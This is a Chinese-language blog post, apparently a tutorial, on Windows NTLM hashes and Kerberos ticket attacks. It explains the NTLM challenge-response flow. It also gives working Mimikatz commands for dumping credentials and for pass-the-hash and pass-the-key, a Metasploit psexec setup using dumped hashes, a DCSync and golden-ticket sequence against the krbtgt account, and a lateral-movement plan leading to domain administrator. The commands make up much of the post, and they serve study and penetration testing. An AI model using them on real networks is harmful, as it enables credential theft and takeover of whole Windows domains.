zoukankan      html  css  js  c++  java
  • Windows NTLM Hash和Hash传递、Key传递攻击

    Hash(Key) 获取


    • 工具: Mimikatz
    • 用法:
    .mimikatz.exe
    privilege::debug #查看权限
    sekurlsa::logonpasswords #获取hash和明文密码(如果可以的话)
    sekurlsa::ekeys #获取kerberos加密凭证
    


    Hash(Key)传递


    Mimikatz

    sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /ntlm:xxxxxxxxxxxx  #hash传递
    sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /aes256:xxxxxxxxxxxxxx  #key传递
    

    Metaspolit

    传递Hash

    msf> use windows/smb/psexec
    msf exploit(windows/smb/psexec)>set rhost a.b.c.d
    msf exploit(windows/smb/psexec)>set rport 445 (139会更好一点)
    msf exploit(windows/smb/psexec)>set smbuser xxxx
    msf exploit(windows/smb/psexec)>set smbpass hashdump中的hash
    msf exploit(windows/smb/psexec)>set domain xxxx
    msf exploit(windows/smb/psexec)>exploit
    

    Windows NTLM哈希传递和票据的原理


    Windows验证的流程

    • 1.首先用户在客户端输入username、password、domain,然后客户端会先将用户输入的password进行hash计算并保存在本地;
    • 2.客户端将username明文传输到域控机
    • 3.然后域控会随机生成16字节的challenge挑战码返回给客户端
    • 4.客户端接收到challenge之后,会用之前password的hash进行加密(称为response),和challenge、username一起发送给服务器
    • 5.服务端将客户端发来的信息转发给域控
    • 6.域控在接收到服务端发来的response、challenge、username,会拿着username在自己的活动目录数据库(ntds.dit)中查询出对应的password hash,并对challenage进行一次加密,如果和用户发来的response相同则身份验证成功,否则则失败。

    kerberos协议认证原理

    请参考我的博文Kerberos认证协议分析

    Hash的利用方式

    NTLM验证靠HASH值,Kerberos靠票据(TICKET),在这里hash是可以传递的,使用hash可以直接登录系统,渗透方式如下:

    • 1.获得一台域主机的权限
    • 2.Dump内存获得用户hash
    • 3.通过pass the hash尝试登录其他主机
    • 4.继续搜集hash并尝试远程登录
    • 5.直到获得域管理员账户hash,登录域控,最终成功控制整个域

    引用:

    但是在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码(ps:可以通过在注册表HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest中新建键值来使下次管理员登陆后明文保存密码,但是效率太低,不推荐),且禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、PSEXEC、schtasks、at和访问文件共享,但是唯独默认的 Administrator (SID 500)账号例外,依然可以通过这个账号进行pass the hash进行攻击
    

    票据的利用方式

    kerberos有两种平票据:一种是silver ticket,有账号hash加密,可以访问特定的服务;另外一种是golden ticket,可以访问域内所有服务;这个黄金票据是用kerberos账户的hash生成的,我们来看下操作:

    # 1 首先我们要抓取kerboers的hash
    lsadump::dcsync /domain:xxx.xxxxx /user:krbtgt
    # 2 生成票据
    kerberos::purge
    kerberos::golden /admin:administrator /domain:xxx.xxxx /sid:SID /krbtgt:hash值 /ticket:administrator.kiribi
    # 3 获取权限
    kerberos::ptt administrator.kiribi
    kerberos::tgt
    
  • 相关阅读:
    Nginx安装配置
    HTTPS原理(三次握手)
    Linux常用指令
    MVC思想
    MySQL简介
    PHP面向对象(二)
    PHP面向对象(一)
    php循环用法
    如何删掉git版本库master分支的第一个commit
    韦东山嵌入式Linux学习笔记08--中断体系结构
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/9265550.html
Copyright © 2011-2022 走看看